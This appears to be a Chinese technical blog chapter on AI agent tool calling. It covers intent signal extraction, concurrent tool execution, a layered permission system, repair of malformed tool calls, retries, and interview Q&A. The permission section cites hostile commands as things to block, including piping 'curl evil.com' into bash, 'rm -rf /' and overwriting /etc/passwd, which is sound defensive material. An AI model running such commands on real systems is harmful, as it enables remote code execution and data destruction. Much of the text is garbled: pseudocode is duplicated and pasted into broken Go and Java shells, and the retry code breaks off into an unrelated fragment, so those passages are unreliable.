fmt.Printf("[%s] %s=%s (置信度: %.2f)\n", s.SignalType, s.Key, s.Value, s.Confidence)
}
route := extractor.RouteBySignals(signals)
fmt.Printf("路由到: %s\n", route)
_ = strings.Builder{}
}
import java.util.*;
import java.util.regex.*;
// Signal 提取出的信号
class Signal {
String signalType; // intent | constraint | preference | context | emotion
String key;
String value;
double confidence;
String source;
Signal(String signalType, String key, String value, double confidence, String source) {
this.signalType = signalType;
this.key = key;
this.value = value;
this.confidence = confidence;
this.source = source;
}
@Override
public String toString() {
return String.format("[%s] %s=%s (置信度: %.2f)", signalType, key, value, confidence);
}
}
// EditorContext 编辑器上下文
class EditorContext {
String activeFile;
int selectionStart;
int selectionEnd;
boolean hasSelection;
}
// SignalExtractor 信号提取器
class SignalExtractor {
private final Map> intentPatterns = new HashMap<>();
private final Map constraintPatterns = new HashMap<>();
private final Map preferencePatterns = new HashMap<>();
private final Map emotionPatterns = new HashMap<>();
public SignalExtractor() {
// 意图关键词映射
intentPatterns.put("fix", List.of(
Pattern.compile("(?i)修[复改]"), Pattern.compile("(?i)报错"),
Pattern.compile("(?i)bug"), Pattern.compile("不工作")
));
intentPatterns.put("refactor", List.of(
Pattern.compile("(?i)重构"), Pattern.compile("(?i)优化"),
Pattern.compile("(?i)refactor"), Pattern.compile("(?i)improve")
));
intentPatterns.put("explain", List.of(
Pattern.compile("(?i)解释"), Pattern.compile("(?i)什么意思"),
Pattern.compile("(?i)explain")
));
intentPatterns.put("test", List.of(
Pattern.compile("(?i)测试"), Pattern.compile("(?i)test"),
Pattern.compile("单元测试")
));
// 约束关键词映射
constraintPatterns.put("language", Pattern.compile("(?i)(Python|TypeScript|Go|Java|Rust|JavaScript|C\\+\\+|Ruby)"));
constraintPatterns.put("framework", Pattern.compile("(?i)(Django|Flask|FastAPI|React|Vue|Spring|Gin|Express)"));
// 否定偏好模式
preferencePatterns.put("no_class", Pattern.compile("(?i)不要用类|不用 class|函数式"));
preferencePatterns.put("no_loop", Pattern.compile("(?i)不用循环|不要 for|递归实现"));
preferencePatterns.put("no_library", Pattern.compile("(?i)不用.*库|不要.*依赖|纯手写"));
// 情绪信号
emotionPatterns.put("frustrated", Pattern.compile("又.*报错|怎么.*错|烦|崩溃|搞不定"));
emotionPatterns.put("urgent", Pattern.compile("急|快|马上|ASAP|紧急"));
emotionPatterns.put("curious", Pattern.compile("好奇|有趣|为什么.*这样"));
}
public List extract(String text, EditorContext editorCtx) {
List signals = new ArrayList<>();
// 1. 意图信号
for (Map.Entry> entry : intentPatterns.entrySet()) {
for (Pattern p : entry.getValue()) {
if (p.matcher(text).find()) {
signals.add(new Signal("intent", "action", entry.getKey(), 0.85, "text"));
break;
}
}
}
// 2. 约束信号
for (Map.Entry entry : constraintPatterns.entrySet()) {
Matcher m = entry.getValue().matcher(text);
if (m.find()) {
signals.add(new Signal("constraint", entry.getKey(), m.group(1), 0.9, "text"));
}
}
// 3. 偏好信号
for (Map.Entry entry : preferencePatterns.entrySet()) {
if (entry.getValue().matcher(text).find()) {
signals.add(new Signal("preference", "style", entry.getKey(), 0.8, "text"));
}
}
// 4. 上下文信号（来自编辑器状态）
if (editorCtx != null) {
if (editorCtx.hasSelection) {
signals.add(new Signal("context", "selection_range",
editorCtx.selectionStart + "-" + editorCtx.selectionEnd, 1.0, "editor"));
}
if (editorCtx.activeFile != null && !editorCtx.activeFile.isEmpty()) {
signals.add(new Signal("context", "active_file", editorCtx.activeFile, 1.0, "editor"));
}
}
// 5. 情绪信号
for (Map.Entry entry : emotionPatterns.entrySet()) {
if (entry.getValue().matcher(text).find()) {
signals.add(new Signal("emotion", "mood", entry.getKey(), 0.7, "text"));
break;
}
}
return signals;
}
public String routeBySignals(List signals) {
for (Signal s : signals) {
if ("intent".equals(s.signalType)) {
Map routing = Map.of(
"fix", "code_debugger",
"refactor", "code_refactorer",
"explain", "code_explainer",
"test", "test_generator"
);
String route = routing.get(s.value);
if (route != null) return route;
}
}
return "general_assistant";
}
}
// === 使用示例 ===
public class Main {
public static void main(String[] args) {
SignalExtractor extractor = new SignalExtractor();
String userInput = "帮我修一下这段 Python 代码，报错了，不要用类";
EditorContext editorCtx = new EditorContext();
editorCtx.activeFile = "main.py";
editorCtx.selectionStart = 10;
editorCtx.selectionEnd = 20;
editorCtx.hasSelection = true;
List signals = extractor.extract(userInput, editorCtx);
for (Signal s : signals) {
System.out.println(s);
}
String route = extractor.routeBySignals(signals);
System.out.println("路由到: " + route);
}
}
信号提取的价值：用户不会每次都把需求说得清清楚楚。"帮我看看"可能意味着审查、修复、解释中的任何一个。信号提取让 Agent 从"用户说了什么"深入到"用户想要什么"，是意图识别的升级版——不仅识别动作意图，还识别约束、偏好、上下文和情绪，为工具路由提供多维决策依据。 🔗 9.10~9.14 小结：工具调用的进阶体系
**Skill匹配与路由**（9.10）是精准——混合策略让 Agent 从众多Skill中精准定位最合适的一个。
**Skill分层体系**（9.11）是架构——L0原子操作、L1流程编排、L2业务专家，职责清晰不混乱。
**Skill沉淀机制**（9.12）是成长——自动/半自动/手动三种方式，让系统越用越聪明。
**意图识别**（9.10）是入口——理解用户想做什么，才能选到对的工具。
**上下文工程**（9.11）是效率——JIT加载和 Tool RAG 让 LLM 只看相关的工具描述，减少 token 浪费。
**消息压缩**（9.12）是控制——多轮工具调用会 Context 膨胀，压缩策略保持 Context 精瘦。
**结构化输出**（9.13）是安全——Pydantic 验证 + 重提示循环，杜绝参数格式错误。
**实战系统**（9.14）是闭环——从意图到回答的全链路，每个环节都有策略保障。
💡 一句话总结：好的工具调用不是"把所有工具丢给 LLM 让它选"，而是精心设计匹配→分层→沉淀→意图→检索→验证→压缩的每一步。
10.15 工程深度：工具并发控制与弱模型兼容
前面的章节介绍了工具调用的原理和 Skill 体系，但在生产环境中，Agent 的工具系统还面临三个工程挑战：并发控制（多个工具能不能同时执行）、权限安全（危险命令怎么拦截）、弱模型兼容（不是所有模型都输出标准的 tool_calls）。本节基于 WaLiCode 项目的真实实现，讲解这三个关键设计。
10.15.1 工具并发安全分类
简单 Agent 串行调用工具就够了——一次只调一个，等结果回来再调下一个。但生产级 Agent 面临的场景是：AI 一次可能输出 3-5 个工具调用（比如同时读取 3 个文件），如果串行执行，用户要等 3 倍的时间。
但不是所有工具都能并行执行。WaLiCode 按安全性将工具分为三类： | 分类 | 策略 | 示例工具 | 判断依据 | | --- | --- | --- | --- | | 始终可并发 | 多个同时执行 | read_file, search_code, read_directory, GlobTool, GrepTool | 只读操作，无副作用，不修改任何状态 | | 始终串行 | 排队执行 | write_file, FileEditTool, delete_file | 写操作，可能互相影响（如先写后删） | | 动态判断 | 按命令内容判断 | BashTool（run_terminal_cmd） | ls 可并发，rm 需串行，git status 可并发，git push 需串行 | 动态判断的核心是对 Bash 命令做语义分析：
// 伪代码：BashTool 并发安全判断
function isBashCommandConcurrentSafe(command: string): boolean {
const cmd = command.trim().split(/\s+/)[0]; // 取命令名
// 白名单：只读命令，可并发
const SAFE_COMMANDS = new Set([
'ls', 'cat', 'grep', 'find', 'head', 'tail', 'wc',
'git status', 'git log', 'git diff', 'git show',
'docker ps', 'docker logs', 'kubectl get', 'kubectl describe'
]);
// 黑名单：写命令，需串行
const DANGEROUS_COMMANDS = new Set([
'rm', 'mv', 'cp', 'chmod', 'chown', 'mkdir', 'rmdir',
'git push', 'git commit', 'git reset',
'docker rm', 'kubectl delete', 'kubectl apply'
]);
if (SAFE_COMMANDS.has(cmd)) return true;
if (DANGEROUS_COMMANDS.has(cmd)) return false;
// 未知命令：保守策略，串行执行
return false;
}
10.15.2 流式并发执行机制
传统做法是等 AI 输出完所有内容后，再统一执行工具调用。但 WaLiCode 采用流式并发——AI 流式输出时，工具调用一到就立即开始执行，不等 AI 输出完。
关键设计点：
- 立即执行：工具调用一到就执行，不等 AI 输出完。3 个 read_file 并行只需 1 倍时间
- 按完成顺序 yield：哪个工具先完成就先返回结果，保证 UI 实时更新
- 中断机制：AwaitingUserConfirmation（需用户确认）时立即中断所有排队工具
// 伪代码：ToolConcurrencyController 核心结构
class ToolConcurrencyController {
private concurrentQueue: ToolCall[] = []; // 并发队列
private serialQueue: ToolCall[] = []; // 串行队列
private running: Map = new Map();
addTool(toolCall: ToolCall, index: number): UIToolCall {
if (this.isConcurrentSafe(toolCall.name, toolCall.args)) {
// 只读工具：立即并发执行
this.executeConcurrent(toolCall);
} else {
// 写工具：排队串行执行
this.serialQueue.push(toolCall);
this.tryExecuteNextSerial();
}
return this.toUIToolCall(toolCall, index);
}
private async executeConcurrent(toolCall: ToolCall) {
const controller = new AbortController();
this.running.set(toolCall.id, controller);
try {
const result = await executeTool(toolCall, controller.signal);
this.onToolComplete(toolCall, result);
} finally {
this.running.delete(toolCall.id);
}
}
private async tryExecuteNextSerial() {
if (this.serialRunning) return; // 已有串行任务在执行
const next = this.serialQueue.shift();
if (!next) return;
this.serialRunning = true;
try {
const result = await executeTool(next);
this.onToolComplete(next, result);
} finally {
this.serialRunning = false;
this.tryExecuteNextSerial(); // 递归执行下一个
}
}
}
// // 伪代码：ToolConcurrencyController 核心结构
// class ToolConcurrencyController {
// private concurrentQueue: ToolCall[] = []; // 并发队列
// private serialQueue: ToolCall[] = []; // 串行队列
// private running: Map = new Map();
// addTool(toolCall: ToolCall, index: number): UIToolCall {
// if (this.isConcurrentSafe(toolCall.name, toolCall.args)) {
// // 只读工具：立即并发执行
// this.executeConcurrent(toolCall);
// } else {
// // 写工具：排队串行执行
// this.serialQueue.push(toolCall);
// this.tryExecuteNextSerial();
// }
return this.toUIToolCall(toolCall, index);;
// }
// private async executeConcurrent(toolCall: ToolCall) {
// const controller = new AbortController();
// this.running.set(toolCall.id, controller);
// try {
// const result = await executeTool(toolCall, controller.signal);
// this.onToolComplete(toolCall, result);
// } finally {
// this.running.delete(toolCall.id);
// }
// }
// private async tryExecuteNextSerial() {
// if (this.serialRunning) return; // 已有串行任务在执行
// const next = this.serialQueue.shift();
// if (!next) return;
// this.serialRunning = true;
// try {
// const result = await executeTool(next);
// this.onToolComplete(next, result);
// } finally {
// this.serialRunning = false;
// this.tryExecuteNextSerial(); // 递归执行下一个
// }
// }
// }
package main
import (
"fmt"
"os"
"os/exec"
"strings"
)
// Python: // 伪代码：ToolConcurrencyController 核心结构
// ToolConcurrencyController - CLI Agent class
type ToolConcurrencyController struct {
// Python: private concurrentQueue: ToolCall[] = []; // 并发队列
// Python: private serialQueue: ToolCall[] = []; // 串行队列
// Python: private running: Map = new Map();
// Python: addTool(toolCall: ToolCall, index: number): UIToolCall {
// Python: if (this.isConcurrentSafe(toolCall.name, toolCall.args)) {
// Python: // 只读工具：立即并发执行
// Python: this.executeConcurrent(toolCall);
// Python: } else {
// Python: // 写工具：排队串行执行
// Python: this.serialQueue.push(toolCall);
// Python: this.tryExecuteNextSerial();
// Python: }
return this.toUIToolCall(toolCall, index);
// Python: }
// Python: private async executeConcurrent(toolCall: ToolCall) {
// Python: const controller = new AbortController();
// Python: this.running.set(toolCall.id, controller);
// Python: try {
// Python: const result = await executeTool(toolCall, controller.signal);
// Python: this.onToolComplete(toolCall, result);
// Python: } finally {
// Python: this.running.delete(toolCall.id);
// Python: }
// Python: }
// Python: private async tryExecuteNextSerial() {
// Python: if (this.serialRunning) return; // 已有串行任务在执行
// Python: const next = this.serialQueue.shift();
// Python: if (!next) return;
// Python: this.serialRunning = true;
// Python: try {
// Python: const result = await executeTool(next);
// Python: this.onToolComplete(next, result);
// Python: } finally {
// Python: this.serialRunning = false;
// Python: this.tryExecuteNextSerial(); // 递归执行下一个
// Python: }
// Python: }
// Python: }
}
import java.util.*;
import java.util.concurrent.*;
import java.util.regex.*;
import java.io.*;
// Python: // 伪代码：ToolConcurrencyController 核心结构
public class ToolConcurrencyController {
// Python: private concurrentQueue: ToolCall[] = []; // 并发队列
// Python: private serialQueue: ToolCall[] = []; // 串行队列
// Python: private running: Map = new Map();
// Python: addTool(toolCall: ToolCall, index: number): UIToolCall {
// Python: if (this.isConcurrentSafe(toolCall.name, toolCall.args)) {
// Python: // 只读工具：立即并发执行
// Python: this.executeConcurrent(toolCall);
// Python: } else {
// Python: // 写工具：排队串行执行
// Python: this.serialQueue.push(toolCall);
// Python: this.tryExecuteNextSerial();
// Python: }
return this.toUIToolCall(toolCall, index);;
// Python: }
// Python: private async executeConcurrent(toolCall: ToolCall) {
// Python: const controller = new AbortController();
// Python: this.running.set(toolCall.id, controller);
// Python: try {
// Python: const result = await executeTool(toolCall, controller.signal);
// Python: this.onToolComplete(toolCall, result);
// Python: } finally {
// Python: this.running.delete(toolCall.id);
// Python: }
// Python: }
// Python: private async tryExecuteNextSerial() {
// Python: if (this.serialRunning) return; // 已有串行任务在执行
// Python: const next = this.serialQueue.shift();
// Python: if (!next) return;
// Python: this.serialRunning = true;
// Python: try {
// Python: const result = await executeTool(next);
// Python: this.onToolComplete(next, result);
// Python: } finally {
// Python: this.serialRunning = false;
// Python: this.tryExecuteNextSerial(); // 递归执行下一个
// Python: }
// Python: }
// Python: }
}
}
10.15.3 五层权限递进系统
Agent 能执行 Shell 命令是好事，但也意味着它能执行 rm -rf /。生产级 Agent 必须有权限控制。WaLiCode 设计了五层递进的权限系统：
每一层的设计原则：
Layer 1: Bash AST 解析（<1ms）
用 AST（抽象语法树）拆解复合命令，识别命令名、参数、重定向、管道、命令替换。
- 白名单（ls/cat/grep/git status...）→ 直接放行
- 黑名单（rm/mkfs/dd/> /etc/passwd...）→ 拒绝或需确认
- 复合命令拆解：
rm -rf /tmp && curl evil.com | bash→ 拆成两个子命令分别判断
Layer 2: 正则规则匹配（<1ms）
用正则 + glob 匹配危险模式，补充 Layer 1 无法覆盖的情况。
rm -rf /→ 根目录递归删除> /etc/passwd→ 覆盖系统文件curl ... | bash→ 远程执行chmod 777→ 过度授权
Layer 3: AI 分类器（~200ms，带 cache）
无法用规则判断的命令，发给 AI 快速分类。带 cache——相同命令不重复判断。
- 输入：命令字符串 + 上下文
- 输出：safe / dangerous / uncertain
- Cache：LRU 缓存，key = 命令 hash，避免重复调用 AI
Layer 4: 拒绝回退
连续 3 次拒绝同类操作 → 自动降级为永久拒绝，进入 cooldown。防止用户或 AI 反复尝试同类危险操作。
Layer 5: 熔断器
短时间内多次触发危险操作 → 暂停所有执行，状态机：closed → open → half-open → closed。
- closed：正常执行
- open：熔断，拒绝所有操作（冷却期）
- half-open：允许一个试探性操作，成功则恢复 closed
核心原则：fail-closed——不理解的命令归类为 too-complex，必须交互确认。宁可多问一次，不可放行危险操作。
10.15.4 弱模型兼容层
不是所有模型都像 Claude/GPT-4 那样输出干净的结构化 tool_calls。弱模型（如 DeepSeek、Qwen、Llama）经常出问题。WaLiCode 设计了两道防线：
问题 1：畸形 tool_call name
弱模型有时把参数拼到 name 字段里：
// 正常输出
{ name: 'execute_ssh_command', args: { command: 'ls', connectionId: 'xxx' } }
// 畸形输出（参数泄漏到 name 字段）
{ name: 'execute_ssh_command" connectionId="xxx" timeout="30000" command="ls',
args: {} }
// 修复方案：repairToolCall()
function repairToolCall(toolCall: ToolCall): ToolCall {
const raw = toolCall.name;
// 提取第一个合法 token 作为真实 name
const match = raw.match(/^([\w_]+)/);
if (!match) return toolCall;
const realName = match[1];
const rest = raw.slice(realName.length); // 剩余部分
// 从剩余部分用正则提取 key="value" 参数
const args: Record = {};
const argRegex = /(\w+)="([^"]*)"/g;
let m;
while ((m = argRegex.exec(rest)) !== null) {
args[m[1]] = m[2];
}
return { ...toolCall, name: realName, args: { ...args, ...toolCall.args } };
}
问题 2：文本内嵌工具调用
弱模型有时不输出结构化 tool_calls，而是在文本中直接写工具调用：
// AI 文本输出（无结构化 tool_calls）
// "我来查看一下文件内容：read_file(path="/tmp/test.py")"
// "然后搜索关键词：search_code(query="TODO")"
// 修复方案：parseToolCallsFromText()
function parseToolCallsFromText(text: string): ToolCall[] {
const calls: ToolCall[] = [];
// 匹配 toolName(key="value", key2="value2") 格式
const regex = /(\w+)\(([^)]*)\)/g;
let match;
while ((match = regex.exec(text)) !== null) {
const name = match[1];
const argsStr = match[2];
const args: Record = {};
// 解析参数
const argRegex = /(\w+)="([^"]*)"/g;
let m;
while ((m = argRegex.exec(argsStr)) !== null) {
args[m[1]] = m[2];
}
calls.push({ id: generateId(), name, args });
}
return calls;
}
这两道防线确保 Agent 能兼容从 Claude 到 Llama 的各种模型——不是所有用户都用顶级模型。
10.15.5 指数退避重试
工具执行可能遇到临时性错误（429 限流、503 服务不可用、网络超时）。WaLiCode 使用指数退避重试：
async function executeToolWithRetry(
toolCall: ToolCall,
maxRetries: number = 3
): Promise {
let lastError: Error;
for (let attempt = 0; attempt RETRYABLE_STATUS = Set.of(429, 500, 502, 503, 504);
public static ToolResult executeToolWithRetry(ToolCall toolCall, int maxRetries) throws Exception {
Exception lastError = null;
for (int attempt = 0; attempt 80%"？如何避免沉淀低质量 Skill？
**3次阈值**：1次可能是偶然，2次可能是巧合，3次以上才说明操作模式确实稳定可复用。
**80%成功率**：成功率低于80%说明操作模式本身不够可靠，沉淀出来反而增加系统负担。80%是经验阈值，太低会沉淀低质量Skill，太高会遗漏有价值的模式。
**避免低质量沉淀的保障**：① 成功率阈值过滤不稳定模式；② 沉淀后持续监控质量指标（成功率、响应时间、用户满意度），低于标准自动降级或淘汰；③ 半自动沉淀需用户确认后才正式注册；④ 版本管理支持回滚到稳定版本。
Q7: 当 Agent 有大量工具时，如何高效选择？
三种策略：
**① 全量传入**：适合 20 个以内工具，简单直接。
**② 语义检索**：工具描述做 embedding，查询时检索 Top-K 相关工具。适合 20~100 个工具。
**③ 路由分层**：先路由到工具类别，再在类别内选择。适合 100+ 工具。
核心思想：减少每次传给 LLM 的工具数量，降低 token 消耗，提升选择准确率。
Q8: MCP 协议解决了什么问题？与 Function Calling 是什么关系？
**解决的问题**：工具定义碎片化。各框架自定义工具格式，一个工具要适配多个框架。
**与 Function Calling 的关系**：不冲突。Function Calling 是 LLM 层面的能力（让模型输出结构化调用），MCP 是协议层面的标准（让工具定义和发现统一）。MCP Server 定义工具 → Agent 框架通过 MCP 获取工具描述 → 传给 LLM 做 Function Calling。
Q9: 意图识别在工具路由中的作用是什么？隐式意图如何处理？
**作用**：意图识别是工具路由的"入口"，决定了 Agent 选择哪类工具。四类意图（信息获取/代码执行/文件操作/通信交互）对应四类工具集。
**隐式意图**：用户不会总是明确说"我要搜索"。"外面冷不冷"和"查天气"表面不同但意图相同。隐式意图识别需要理解用户**想达成的目���**而非关键词匹配——生产环境通常用 LLM 做意图分类而非简单关键词。
**复合意图**："帮我搜索并用Python分析"包含两个意图，需要拆解后依次执行，后置意图可能依赖前置意图的结果。
Q10: 上下文工程如何优化工具管理？JIT加载和Tool RAG的核心思路是什么？
**核心思路**：给 LLM "刚好够用"的信息，不多不少。50个工具的全量描述消耗5000 token，但LLM只会用到1~3个工具。
**JIT加载**：不一次性传入所有工具描述，按意图只加载相关的3~5个工具。有效信号密度从6%提升到接近100%。
**Tool RAG**：把工具描述做embedding存入向量库，请求来时检索最相关的Top-K工具，只把这几个传给LLM。类似文档RAG但检索的是工具而非文档。
对比：全量传入5000 token/65%准确率 → JIT/RAG 300 token/85%准确率，token节省90%+，准确率提升20%+。
Q11: 多轮工具调用的Context膨胀问题如何解决？
多轮工具调用会让Context从100 token膨胀到数千token，原始请求占比不到2%。三种压缩策略：
**① 摘要替代原始结果**：不让工具的完整输出进入Context，而是用LLM生成200 token的摘要替代2000 token的原始结果。
**② 选择性保留关键字段**：天气API返回20个字段，只保留温度+描述+风速这3个用户关心的字段。
**③ 向量库归档**：完整结果存入向量数据库，Context中只放摘要+引用ID。需要细节时按ID检索。
核心原则：**记要点，存细节**——要点放Context（短期），细节放向量库（长期）。
Q12: 怎么保证 Agent 的工具调用可靠性？工具调用不稳定、参数报错怎么解决？
工具调用不稳定、参数报错是项目初期的常见问题，我从三个层面做了优化：
**① 语义层面**：开启 JSON 模式，做强类型约束，避免大模型输出格式混乱。用 Pydantic 在工具执行前拦截参数类型错误，确保参数结构可控。
**② 逻辑层面**：加入人工确认机制（Human-in-the-Loop）。高危工具（删库、转账等）操作必须人工确认后才执行，防止 Agent 自主执行不可逆的危险操作。LangGraph 的 Checkpoint + interrupt_before 机制让这种暂停-审批-恢复变得开箱即用。
**③ 异常层面**：配置自动重试修复逻辑。一旦工具参数报错，就把错误信息返给大模型，让其自主修正参数重新调用。形成"出错→反思→修正"的自闭环。重试次数设上限（2~3次），超限后降级兆底而非无限重试。
面试要点：三层保障要讲全——语义层防格式混乱、逻辑层防误操作、异常层防崩溃，体现"防御纵深"思维。
第10章 Function-Calling与工具设计
http://www.clxhxhhr.top/posts/713/ 评论
0 条
还没有评论，先写一条吧。